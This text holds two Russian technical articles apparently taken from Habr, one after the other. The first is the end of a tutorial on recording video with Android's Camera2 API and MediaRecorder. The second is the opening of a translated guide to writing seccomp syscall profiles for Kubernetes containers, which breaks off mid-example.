Log.i(LOG_TAG, " запустили медиа рекордер");
} catch (Exception e) {
Log.i(LOG_TAG, "не запустили медиа рекордер");
}
}
```
Тут тоже всё ясно-понятно и пояснений давать не требуется.
Далее наступает самый ответственный этап — присобачивание Media Recorder к Surface. В прошлом посте мы выводили на Surface изображение с камеры и с него же снимали кадр при помощи Image Reader. Для этого мы просто указывали оба компонента в списке Surface.
```
Arrays.asList(surface,mImageReader.getSurface())
```
Здесь то же самое, только вместо ImageReader указываем:
```
(Arrays.asList(surface, mMediaRecorder.getSurface()).
```
Там вообще, через запятую, можно что угодно лепить, все используемые вами компоненты и даже Media Codec. То есть, вы можете в одном окне делать фотки, снимать видео и стримить его. Surface добрый — позволяет. Правда, можно ли всё делать одновременно, этого не подскажу. По идее, судя по картинке работы камеры — можно.
Должно, вроде как, просто разлетаться по разным потокам. Так что поле для экспериментов есть.
**Но вернёмся к Media Recorder**
Практически мы сделали всё. Нам не нужно в отличие от фотографирования никаких дополнительных реквестов для съёмки, не нужен никакой аналог ImageSaver – наш работяга рекордер делает всё сам. И это приятно.
В итоге программа приобретает совершенно минималистический вид.
```
package com.example.mediarecorder1;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.content.ContextCompat;
import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.SurfaceTexture;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CaptureRequest;
import android.media.CamcorderProfile;
import android.os.Bundle;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.Handler;
import android.os.HandlerThread;
import android.util.Log;
import android.view.Surface;
import android.view.TextureView;
import android.view.View;
import android.widget.Button;
import java.io.File;
import java.util.Arrays;
public class MainActivity extends AppCompatActivity {
public static final String LOG_TAG = "myLogs";
CameraService[] myCameras = null;
private CameraManager mCameraManager = null;
private final int CAMERA1 = 0;
private int count =1;
private Button mButtonOpenCamera1 = null;
private Button mButtonRecordVideo = null;
private Button mButtonStopRecordVideo = null;
public static TextureView mImageView = null;
private HandlerThread mBackgroundThread;
private Handler mBackgroundHandler = null;
private File mCurrentFile;
private MediaRecorder mMediaRecorder = null;
private void startBackgroundThread() {
mBackgroundThread = new HandlerThread("CameraBackground");
mBackgroundThread.start();
mBackgroundHandler = new Handler(mBackgroundThread.getLooper());
}
private void stopBackgroundThread() {
mBackgroundThread.quitSafely();
try {
mBackgroundThread.join();
mBackgroundThread = null;
mBackgroundHandler = null;
} catch (InterruptedException e) {
e.printStackTrace();
}
}
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.d(LOG_TAG, "Запрашиваем разрешение");
if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED
||
(ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED)
||
(ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED)
) {
requestPermissions(new String[]{Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.RECORD_AUDIO}, 1);
}
mButtonOpenCamera1 = findViewById(R.id.button1);
mButtonRecordVideo = findViewById(R.id.button2);
mButtonStopRecordVideo = findViewById(R.id.button3);
mImageView = findViewById(R.id.textureView);
mButtonOpenCamera1.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (myCameras[CAMERA1] != null) {
if (!myCameras[CAMERA1].isOpen()) myCameras[CAMERA1].openCamera();
}
}
});
mButtonRecordVideo.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if ((myCameras[CAMERA1] != null) & mMediaRecorder != null) {
mMediaRecorder.start();
}
}
});
mButtonStopRecordVideo.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if ((myCameras[CAMERA1] != null) & (mMediaRecorder != null)) {
myCameras[CAMERA1].stopRecordingVideo();
}
}
});
mCameraManager = (CameraManager) getSystemService(Context.CAMERA_SERVICE);
try {
// Получение списка камер с устройства
myCameras = new CameraService[mCameraManager.getCameraIdList().length];
for (String cameraID : mCameraManager.getCameraIdList()) {
Log.i(LOG_TAG, "cameraID: " + cameraID);
int id = Integer.parseInt(cameraID);
// создаем обработчик для камеры
myCameras[id] = new CameraService(mCameraManager, cameraID);
}
} catch (CameraAccessException e) {
Log.e(LOG_TAG, e.getMessage());
e.printStackTrace();
}
setUpMediaRecorder();
}
private void setUpMediaRecorder() {
mMediaRecorder = new MediaRecorder();
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mCurrentFile = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), "test"+count+".mp4");
mMediaRecorder.setOutputFile(mCurrentFile.getAbsolutePath());
CamcorderProfile profile = CamcorderProfile.get(CamcorderProfile.QUALITY_480P);
mMediaRecorder.setVideoFrameRate(profile.videoFrameRate);
mMediaRecorder.setVideoSize(profile.videoFrameWidth, profile.videoFrameHeight);
mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate);
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate);
mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate);
try {
mMediaRecorder.prepare();
Log.i(LOG_TAG, " запустили медиа рекордер");
} catch (Exception e) {
Log.i(LOG_TAG, "не запустили медиа рекордер");
}
}
public class CameraService {
private String mCameraID;
private CameraDevice mCameraDevice = null;
private CameraCaptureSession mSession;
private CaptureRequest.Builder mPreviewBuilder;
public CameraService(CameraManager cameraManager, String cameraID) {
mCameraManager = cameraManager;
mCameraID = cameraID;
}
private CameraDevice.StateCallback mCameraCallback = new CameraDevice.StateCallback() {
@Override
public void onOpened(CameraDevice camera) {
mCameraDevice = camera;
Log.i(LOG_TAG, "Open camera with id:" + mCameraDevice.getId());
startCameraPreviewSession();
}
@Override
public void onDisconnected(CameraDevice camera) {
mCameraDevice.close();
Log.i(LOG_TAG, "disconnect camera with id:" + mCameraDevice.getId());
mCameraDevice = null;
}
@Override
public void onError(CameraDevice camera, int error) {
Log.i(LOG_TAG, "error! camera id:" + camera.getId() + " error:" + error);
}
};
private void startCameraPreviewSession() {
SurfaceTexture texture = mImageView.getSurfaceTexture();
texture.setDefaultBufferSize(640, 480);
Surface surface = new Surface(texture);
try {
mPreviewBuilder = mCameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_RECORD);
/**Surface for the camera preview set up*/
mPreviewBuilder.addTarget(surface);
/**MediaRecorder setup for surface*/
Surface recorderSurface = mMediaRecorder.getSurface();
mPreviewBuilder.addTarget(recorderSurface);
mCameraDevice.createCaptureSession(Arrays.asList(surface, mMediaRecorder.getSurface()),
new CameraCaptureSession.StateCallback() {
@Override
public void onConfigured(CameraCaptureSession session) {
mSession = session;
try {
mSession.setRepeatingRequest(mPreviewBuilder.build(), null, mBackgroundHandler);
} catch (CameraAccessException e) {
e.printStackTrace();
}
}
@Override
public void onConfigureFailed(CameraCaptureSession session) {
}
}, mBackgroundHandler);
} catch (CameraAccessException e) {
e.printStackTrace();
}
}
public void stopRecordingVideo() {
try {
mSession.stopRepeating();
mSession.abortCaptures();
mSession.close();
} catch (CameraAccessException e) {
e.printStackTrace();
}
mMediaRecorder.stop();
mMediaRecorder.release();
count++;
setUpMediaRecorder();
startCameraPreviewSession();
}
public boolean isOpen() {
if (mCameraDevice == null) {
return false;
} else {
return true;
}
}
public void openCamera() {
try {
if (checkSelfPermission(Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
mCameraManager.openCamera(mCameraID, mCameraCallback, mBackgroundHandler);
}
} catch (CameraAccessException e) {
Log.i(LOG_TAG, e.getMessage());
}
}
}
@Override
public void onPause() {
stopBackgroundThread();
super.onPause();
}
@Override
public void onResume() {
super.onResume();
startBackgroundThread();
}
}
```
**добавляем к ней LAYOUT**
```
xml version="1.0" encoding="utf-8"?
```
**И небольшое дополнение в манифест**
```
```
Всё работает и успешно пишет файлы.
Единственное, защиты от дурака нет и поэтому, если неразумно тыкать в экранные кнопки в рандомном порядке, то можно всё сломать.
P.S.
После опубликования поста пытливым читателем было замечено существование заметного лага изображения с камеры после нажатия кнопки, «закончить запись», перед тем, как вы пожелаете сделать запись новую. Тогда как, попробовав сделать то же самое на стандартной камере Android, вы никаких лагов не увидите, все будет вполне себе плавненько.
Как оказалось, задержка происходит по двум причинам.
Первая — это пересоздание сессии mSession. Как вы понимаете, на новую инициализацию камеры требуется время.
Вторая — основная задержка по времени получалась из-за того, что остановка медиарекордера mMediaRecorder.stop(), оказывается, выполняется совсем не асинхронно, как я наивно надеялся, а вполне себе вешает главный поток. И по идее, должна быть вынесена в фон. Но на самом деле и фон тут не поможет, так как пересоздание mSession все равно требует нового экземпляра mMediaRecorder, а мы его никак не получим, пока не остановим старый. Конечно, можно попробовать запускать некий mMediaRecorder2, пока закрываем mMediaRecorder1, но это подход индусский и ненадежный, так как:
> Поведение нескольких экземпляров MediaRecorder является неопределенным afaik и может работать или не работать в зависимости от устройства.
>
>
>
> В документации не упоминается, поддерживаются ли несколько экземпляров:
>
>
>
> [developer.android.com/reference/android/media/MediaRecorder.html](http://developer.android.com/reference/android/media/MediaRecorder.html)
>
>
>
> Есть жалобы о сбоях при создании экземпляров более одного экземпляра.
>
>
Может это и до сих пор так, а может ситуация и изменилась с тех пор, но в любом случае выход есть. Правда, с другой стороны.
Мы попробуем не закрывать CameraPreviewSession() каждый раз, когда требуется новая запись. Но в этом случае при остановке медиарекордера, она закроется сама, причем вместе с приложением, издевательски написав, что «потеряна Surface вашего медиарекордера». Что, как бы и логично, мы же его сами остановили и закрыли.
Поэтому здесь нам надо использовать другой Surface — по латыни PersistentInputSurface() или «сурфейс ~~упоротый~~ упорный». Он не закроется при останове медиарекордера, а будет себе жить дальше. Правда, он требует более специфического обращения (см. комментарии к статье), но зато работает и работает без лагов!
**Вариант кода без лагов**
```
package com.example.mediarecorder1;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.content.ContextCompat;
import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.SurfaceTexture;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CaptureRequest;
import android.media.CamcorderProfile;
import android.media.MediaCodec;
import android.os.AsyncTask;
import android.os.Bundle;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.Handler;
import android.os.HandlerThread;
import android.util.Log;
import android.view.Surface;
import android.view.TextureView;
import android.view.View;
import android.widget.Button;
import java.io.File;
import java.util.Arrays;
public class MainActivity extends AppCompatActivity {
Surface recorderSurface =null;
public static final String LOG_TAG = "myLogs";
CameraService[] myCameras = null;
private CameraManager mCameraManager = null;
private final int CAMERA1 = 0;
private int count =1;
private Button mButtonOpenCamera1 = null;
private Button mButtonRecordVideo = null;
private Button mButtonStopRecordVideo = null;
public static TextureView mImageView = null;
private HandlerThread mBackgroundThread;
private Handler mBackgroundHandler = null;
private File mCurrentFile;
private MediaRecorder mMediaRecorder = null;
private void startBackgroundThread() {
mBackgroundThread = new HandlerThread("CameraBackground");
mBackgroundThread.start();
mBackgroundHandler = new Handler(mBackgroundThread.getLooper());
}
private void stopBackgroundThread() {
mBackgroundThread.quitSafely();
try {
mBackgroundThread.join();
mBackgroundThread = null;
mBackgroundHandler = null;
} catch (InterruptedException e) {
e.printStackTrace();
}
}
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Log.d(LOG_TAG, "Запрашиваем разрешение");
if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED
||
(ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.WRITE_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED)
||
(ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED)
) {
requestPermissions(new String[]{Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.RECORD_AUDIO}, 1);
}
mButtonOpenCamera1 = findViewById(R.id.button1);
mButtonRecordVideo = findViewById(R.id.button2);
mButtonStopRecordVideo = findViewById(R.id.button3);
mImageView = findViewById(R.id.textureView);
mButtonOpenCamera1.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (myCameras[CAMERA1] != null) {
if (!myCameras[CAMERA1].isOpen()) myCameras[CAMERA1].openCamera();
}
}
});
mButtonRecordVideo.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if ((myCameras[CAMERA1] != null) & mMediaRecorder != null) {
mMediaRecorder.start();
Log.i(LOG_TAG, "START");
}
}
});
mButtonStopRecordVideo.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if ((myCameras[CAMERA1] != null) & (mMediaRecorder != null)) {
myCameras[CAMERA1].stopRecordingVideo();
Log.i(LOG_TAG, "STOP");
}
}
});
mCameraManager = (CameraManager) getSystemService(Context.CAMERA_SERVICE);
try {
// Получение списка камер с устройства
myCameras = new CameraService[mCameraManager.getCameraIdList().length];
for (String cameraID : mCameraManager.getCameraIdList()) {
Log.i(LOG_TAG, "cameraID: " + cameraID);
int id = Integer.parseInt(cameraID);
// создаем обработчик для камеры
myCameras[id] = new CameraService(mCameraManager, cameraID);
}
} catch (CameraAccessException e) {
Log.e(LOG_TAG, e.getMessage());
e.printStackTrace();
}
setUpMediaRecorder();
}
private void setUpMediaRecorder() {
mMediaRecorder = new MediaRecorder();
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mCurrentFile = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), "test"+count+".mp4");
mMediaRecorder.setOutputFile(mCurrentFile.getAbsolutePath());
CamcorderProfile profile = CamcorderProfile.get(CamcorderProfile.QUALITY_480P);
mMediaRecorder.setVideoSize(640, 480);
mMediaRecorder.setVideoFrameRate(profile.videoFrameRate);
mMediaRecorder.setVideoSize(profile.videoFrameWidth, profile.videoFrameHeight);
mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate);
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate);
mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate);
}
private void setUpMediaRecorder2() {
mMediaRecorder = new MediaRecorder();
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
mMediaRecorder.setInputSurface(recorderSurface);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
mCurrentFile = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM), "test"+count+".mp4");
mMediaRecorder.setOutputFile(mCurrentFile.getAbsolutePath());
mMediaRecorder.setVideoSize(640, 480);
CamcorderProfile profile = CamcorderProfile.get(CamcorderProfile.QUALITY_480P);
mMediaRecorder.setVideoFrameRate(profile.videoFrameRate);
mMediaRecorder.setVideoSize(profile.videoFrameWidth, profile.videoFrameHeight);
mMediaRecorder.setVideoEncodingBitRate(profile.videoBitRate);
mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
mMediaRecorder.setAudioEncodingBitRate(profile.audioBitRate);
mMediaRecorder.setAudioSamplingRate(profile.audioSampleRate);
try {
mMediaRecorder.prepare();
Log.i(LOG_TAG, " запустили медиа рекордер2");
} catch (Exception e) {
Log.i(LOG_TAG, "не запустили медиа рекордер");
}
}
public class CameraService {
private String mCameraID;
private CameraDevice mCameraDevice = null;
private CameraCaptureSession mSession;
private CaptureRequest.Builder mPreviewBuilder;
public CameraService(CameraManager cameraManager, String cameraID) {
mCameraManager = cameraManager;
mCameraID = cameraID;
}
private CameraDevice.StateCallback mCameraCallback = new CameraDevice.StateCallback() {
@Override
public void onOpened(CameraDevice camera) {
mCameraDevice = camera;
Log.i(LOG_TAG, "Open camera with id:" + mCameraDevice.getId());
startCameraPreviewSession();
}
@Override
public void onDisconnected(CameraDevice camera) {
mCameraDevice.close();
Log.i(LOG_TAG, "disconnect camera with id:" + mCameraDevice.getId());
mCameraDevice = null;
}
@Override
public void onError(CameraDevice camera, int error) {
Log.i(LOG_TAG, "error! camera id:" + camera.getId() + " error:" + error);
}
};
private void startCameraPreviewSession() {
SurfaceTexture texture = mImageView.getSurfaceTexture();
texture.setDefaultBufferSize(640, 480);
Surface surface = new Surface(texture);
try {
mPreviewBuilder = mCameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
/**Surface for the camera preview set up*/
mPreviewBuilder.addTarget(surface);
/**MediaRecorder setup for surface*/
// Surface recorderSurface = mMediaRecorder.getSurface();
recorderSurface=MediaCodec.createPersistentInputSurface();
mMediaRecorder.setInputSurface(recorderSurface);
try {
mMediaRecorder.prepare();
Log.i(LOG_TAG, " запустили медиа рекордер");
} catch (Exception e) {
Log.i(LOG_TAG, "не запустили медиа рекордер");
}
mPreviewBuilder.addTarget(recorderSurface);
mCameraDevice.createCaptureSession(Arrays.asList(surface,recorderSurface),
new CameraCaptureSession.StateCallback() {
@Override
public void onConfigured(CameraCaptureSession session) {
mSession = session;
try {
mSession.setRepeatingRequest(mPreviewBuilder.build(), null, mBackgroundHandler);
} catch (CameraAccessException e) {
e.printStackTrace();
}
}
@Override
public void onConfigureFailed(CameraCaptureSession session) {
}
}, mBackgroundHandler);
} catch (CameraAccessException e) {
e.printStackTrace();
}
}
public void stopRecordingVideo() {
count++;
MyTask mt = new MyTask();
mt.execute();
}
public boolean isOpen() {
if (mCameraDevice == null) {
return false;
} else {
return true;
}
}
public void openCamera() {
try {
if (checkSelfPermission(Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
mCameraManager.openCamera(mCameraID, mCameraCallback, mBackgroundHandler);
}
} catch (CameraAccessException e) {
Log.i(LOG_TAG, e.getMessage());
}
}
}
@Override
public void onPause() {
stopBackgroundThread();
super.onPause();
}
@Override
public void onResume() {
super.onResume();
startBackgroundThread();
}
class MyTask extends AsyncTask {
@Override
protected void onPreExecute() {
}
@Override
protected Void doInBackground(Void... params) {
mMediaRecorder.stop();
mMediaRecorder.release();
setUpMediaRecorder2();
return null;
}
@Override
protected void onPostExecute(Void result) {
}
}
}
``` | https://habr.com/ru/post/471774/ | null | ru | null |
# Seccomp в Kubernetes: 7 вещей, о которых надо знать с самого начала
***Прим. перев.**: Представляем вниманию перевод статьи старшего инженера по безопасности приложений британской компании ASOS.com. С ней он начинает цикл публикаций, посвящённых повышению безопасности в Kubernetes благодаря использованию seccomp. Если введение понравится читателям, мы последуем за автором и продолжим с его будущими материалами по этой теме.*
Эта статья — первая из серии публикаций о том, как создавать профили seccomp в духе SecDevOps, не прибегая к магии и колдовству. В первой части я расскажу об основах и внутренних деталях реализации seccomp в Kubernetes.
Экосистема Kubernetes предлагает достаточное разнообразие способов по обеспечению безопасности и изоляции контейнеров. Статья посвящена Secure Computing Mode, также известному как **seccomp**. Его суть состоит в фильтрации системных вызовов, доступных для выполнения контейнерами.
Почему это важно? Контейнер — это всего лишь некий процесс, запущенный на определенной машине. И он использует ядро наравне с другими приложениями. Если бы контейнеры могли выполнять любые системные вызовы, весьма скоро этим бы воспользовались вредоносные программы, чтобы обойти изоляцию контейнера и воздействовать на другие приложения: перехватывать информацию, менять настройки системы и т.п.
Профили seccomp определяют, какие системные вызовы должны быть разрешены или запрещены. Среда исполнения контейнера активирует их во время его запуска, чтобы ядро могло вести контроль за их исполнением. Применение подобных профилей позволяет ограничить вектор атаки и сократить урон в случае, если какая-либо программа внутри контейнера (то есть ваши зависимости, или их зависимости) начнет делать то, что ей не разрешено.
Разбираемся с основами
----------------------
Базовый профиль seccomp включает три элемента: `defaultAction`, `architectures` (или `archMap`) и `syscalls`:
```
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": [
"SCMP_ARCH_X86_64",
"SCMP_ARCH_X86",
"SCMP_ARCH_X32"
],
"syscalls": [
{
"names": [
"arch_prctl",
"sched_yield",
"futex",
"write",
"mmap",
"exit_group",
"madvise",
"rt_sigprocmask",
"getpid",
"gettid",
"tgkill",
"rt_sigaction",
"read",
"getpgrp"
],
"action": "SCMP_ACT_ALLOW"
}
]
}
```
*([medium-basic-seccomp.json](https://gist.github.com/pjbgf/ef974f57693bb193f39e8add8a7040d7#file-medium-basic-seccomp-json))*
`defaultAction` определяет судьбу по умолчанию любого системного вызова, не указанного в разделе `syscalls`. Чтобы упростить задачу, сосредоточимся на двух основных значениях, которые будут использоваться:
* `SCMP_ACT_ERRNO` — блокирует выполнение системного вызова,
* `SCMP_ACT_ALLOW` — разрешает.
В разделе `architectures` перечисляются целевые архитектуры. Это важно, поскольку сам фильтр, применяемый на уровне ядра, зависит от идентификаторов системных вызовов, а не от их названий, прописанных в профиле. Перед применением среда исполнения контейнера сопоставит их с идентификаторами. Смысл в том, что системные вызовы могут иметь совершенно разные ID в зависимости от архитектуры системы. Например, системный вызов `recvfrom` (используется для получения информации от сокета) имеет ID = 64 в x64-системах и ID = 517 в x86. [Здесь](https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl) вы можете найти список всех системных вызовов для архитектур x86-x64.
В секции `syscalls` перечисляются все системные вызовы и указывается, что с ними следует делать. Например, можно создать белый список, установив `defaultAction` на `SCMP_ACT_ERRNO`, а вызовам в секции `syscalls` присвоить `SCMP_ACT_ALLOW`. Тем самым вы разрешаете только вызовы, прописанные в разделе `syscalls`, и запрещаете все остальные. Для чёрного списка следует поменять значения `defaultAction` и действия на противоположные.
Теперь следует сказать пару слов о нюансах, которые не столь очевидны. Обратите внимание, что рекомендации ниже исходят из того, что вы развоарчиваете линейку бизнес-приложений в Kubernetes и вам важно, чтобы они работали с наименьшими привилегиями.
1. AllowPrivilegeEscalation=false
---------------------------------
В `securityContext` контейнера имеется параметр `AllowPrivilegeEscalation`. Если он установлен в `false`, контейнеры будут запускаться с установленным (`on`) битом [`no_new_priv`](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt). Смысл этого параметра очевиден из названия: он не позволяет контейнеру запускать новые процессы с привилегиями, бóльшими, чем имеются у него самого.
Побочным эффектом этого параметра, установленного в `true` (значение по умолчанию), является то, что runtime контейнера применяет профиль seccomp в самом начале процесса запуска. Таким образом, все системные вызовы, необходимые для запуска внутренних процессов среды исполнения (например, установка идентификаторов пользователя/группы, отбрасывание некоторых capabilities), должны быть разрешены в профиле.
Контейнеру, который выполняет банальное `echo hi`, потребуются следующие разрешения:
```
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": [
"SCMP_ARCH_X86_64",
"SCMP_ARCH_X86",
"SCMP_ARCH_X32"
],
"syscalls": [
{
"names": [
"arch_prctl",
"brk",
"capget",
"capset",
"chdir",
"close",
"execve",
"exit_group",
"fstat",
"fstatfs",
"futex",
"getdents64",
"getppid",
"lstat",
"mprotect",
"nanosleep",
"newfstatat",
"openat",
"prctl",
"read",
"rt_sigaction",
"statfs",
"setgid",
"setgroups",
"setuid",
"stat",
"uname",
"write"
],
"action": "SCMP_ACT_ALLOW"
}
]
}
```
*([hi-pod-seccomp.json](https://gist.github.com/pjbgf/018658f1aeea1ef696b451bde8c33a8f#file-hi-pod-seccomp-json))*
… вместо этих:
```
{
"defaultAction": "SCMP_ACT_ERRNO",
"architectures": [
"SCMP_ARCH_X86_64",
"SCMP_ARCH_X86",
"SCMP_ARCH_X32"
],
"syscalls": [
{
"names": [
"arch_prctl",
"brk",
"close",
"execve",
"exit_group",
"futex",
"mprotect",
"nanosleep",
"stat",
"write"
],
"action": "SCMP_ACT_ALLOW"
}
]
}
```
*([hi-container-seccomp.json](https://gist.github.com/pjbgf/7c860ad818e3724d65a96ffdae5da808#file-hi-container-seccomp-json))*
Но опять же, почему это проблема? Лично я избегал бы внесения в белый список следующих системных вызовов (если в них нет реальной необходимости): `capset`, `set_tid_address`, `setgid`, `setgroups` и `setuid`. Однако настоящая сложность в том, что, разрешая процессы, которые вы абсолютно не контролируете, вы привязываете профили к реализации среды исполнения контейнеров. Другими словами, однажды вы можете столкнуться с тем, что после обновления runtime-среды контейнера (вами или, что вероятнее, поставщиком облачных услуг) контейнеры внезапно перестанут запускаться.
**Совет №1**: Запускайте контейнеры с `AllowPrivilegeEscaltion=false`. Это сократит размер профилей seccomp и сделает их менее чувствительными к изменению среды исполнения контейнера.
2. Задание профилей seccomp на уровне контейнера
------------------------------------------------
Профиль seccomp можно задавать на уровне pod'а:
```
annotations:
seccomp.security.alpha.kubernetes.io/pod: "localhost/profile.json"
```
… или на уровне контейнера:
```
annotations:
container.security.alpha.kubernetes.io/: "localhost/profile.json"
```
*Обратите внимание, что приведенный выше синтаксис изменится, когда Kubernetes seccomp [станет GA](https://github.com/kubernetes/enhancements/pull/1148) (это событие ожидается уже в следующем релизе Kubernetes — 1.18 — прим. перев.).*
Мало кто знает, что в Kubernetes всегда имелся [баг](https://github.com/kubernetes/kubernetes/issues/84623), из-за которого профили seccomp применялись к [pause-контейнеру](https://www.ianlewis.org/en/almighty-pause-container). Среда исполнения частично компенсирует данный недостаток, однако этот контейнер никуда не девается из pod'ов, поскольку используется для настройки их инфраструктуры.
Проблема же в том, что этот контейнер всегда запускается с `AllowPrivilegeEscalation=true`, приводя к проблемам, озвученным в пункте 1, и изменить это невозможно.
Применяя профили seccomp на уровне контейнера, вы избегаете данной ловушки и можете создать профиль, который будет «заточен» под конкретный контейнер. Так придется делать до тех пор, пока разработчики не исправят баг и новая версия (может быть, 1.18?) станет доступна для всех желающих.
**Совет №2**: Задавайте профили seccomp на уровне контейнера.
В практическом смысле это правило обычно служит универсальным ответом на вопрос: «Почему мой профиль seccomp работает с `docker run`, но не работает после развертывания в кластере Kubernetes?».
3. Используйте runtime/default только в крайнем случае
------------------------------------------------------
В Kubernetes имеется два варианта встроенных профилей: `runtime/default` и `docker/default`. Оба реализуются средой исполнения контейнера, а не Kubernetes. Поэтому они могут отличаться в зависимости от используемой среды исполнения и её версии.
Другими словами, в результате смены runtime контейнер может получить доступ к другому набору системных вызовов, которые он может использовать или не использовать. Большинство сред исполнения используют [реализацию Docker](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json). Если вы желаете задействовать этот профиль, убедитесь, что он вам подходит.
Профиль `docker/default` считается устаревшим с Kubernetes 1.11, поэтому избегайте его применения.
По моему мнению, профиль `runtime/default` прекрасно подходит для тех целей, для которых он создавался: защиты пользователей от рисков, связанных с выполнением команды `docker run` на их машинах. Однако если говорить о бизнес-приложениях, работающих в кластерах Kubernetes, я бы взял на себя смелость утверждать, что такой профиль слишком открыт и разработчики должны сконцентрироваться на создании профилей под свои приложения (или типы приложений).
**Совет №3**: Создавайте профили seccomp под конкретные приложения. Если это невозможно, займитесь профилями под виды приложений, например, создайте расширенный профиль, который включит в себя все веб-API приложения на Golang. Только в качестве крайнего средства используйте runtime/default.
В будущих публикациях я расскажу, как создавать профили seccomp в духе SecDevOps, автоматизировать и тестировать их в пайплайнах. Другими словами, у вас не останется оправданий, чтобы не переходить на профили под конкретные приложения.
4. Unconfined — это НЕ вариант
------------------------------
Из [первого аудита безопасности Kubernetes](https://www.cncf.io/blog/2019/08/06/open-sourcing-the-kubernetes-security-audit/) выяснилось, что по умолчанию [seccomp отключён](https://github.com/kubernetes/kubernetes/issues/81115). Это означает, что если вы не зададите `PodSecurityPolicy`, которая включит его в кластере, все pod'ы, для которых не определён профиль seccomp, будут работать в режиме `seccomp=unconfined`.
Работа в таком режиме означает, что теряется целый слой изоляции, обеспечивающий защиту кластера. Подобный подход не рекомендуется специалистами по безопасности.
**Совет №4**: Ни один контейнер в кластере не должен работать в режиме `seccomp=unconfined`, особенно в production-средах.
5. «Режим аудита»
-----------------
Этот момент не уникален для Kubernetes, но всё же попадает в категорию «о чём следует знать ещё до начала».
Так повелось, что создание профилей seccomp всегда было непростым занятием и в значительной степени основывалось на методе проб и ошибок. Дело в том, что у пользователей просто нет возможности проверить их в production-средах, не рискуя «уронить» приложение.
После появления ядра Linux 4.14 появилась возможность запускать части профиля в режиме аудита, записывая в syslog информацию обо всех системных вызовах, но не блокируя их. Активировать этот режим можно с помощью параметра `SCMT_ACT_LOG`:
***SCMP\_ACT\_LOG**: seccomp не будет влиять на работу потока, делающего системный вызов, если он не подпадает под какое-либо правило из фильтра, однако информация о системном вызове будет внесена в журнал.*
Вот типовая стратегия использования этой возможности:
1. Разрешить системные вызовы, которые необходимы.
2. Заблокировать системы вызовы, о которых известно, что они не пригодятся.
3. Информацию обо всех остальных вызовах записывать в журнал.
Упрощенный пример выглядит следующим образом:
```
{
"defaultAction": "SCMP_ACT_LOG",
"architectures": [
"SCMP_ARCH_X86_64",
"SCMP_ARCH_X86",
"SCMP_ARCH_X32"
],
"syscalls": [
{
